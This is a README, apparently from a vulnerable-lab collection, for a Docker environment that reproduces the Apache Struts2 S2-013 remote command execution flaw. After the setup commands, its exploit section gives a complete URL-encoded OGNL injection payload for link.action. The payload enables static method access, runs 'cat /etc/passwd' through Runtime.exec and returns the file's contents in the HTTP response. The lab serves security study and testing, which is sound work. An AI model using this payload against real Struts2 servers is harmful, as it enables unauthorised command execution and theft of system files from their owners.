README.md

## Struts2 S2-013 漏洞环境

### 漏洞信息

 * [S2-013 公告](http://struts.apache.org/docs/s2-013.html)
 
参考 [http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html)

### 获取环境:

1. 拉取镜像到本地

 ```
$ docker pull medicean/vulapps:s_struts2_s2-013
 ```

2. 启动环境

 ```
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-013
 ```
 > `-p 80:8080` 前面的 80 代表物理机的端口，可随意指定。 

### 使用与利用

访问 `http://你的 IP 地址:端口号/`

#### Exp

命令执行

```
/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('cat /etc/passwd').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
```

![](s2-013-1.png)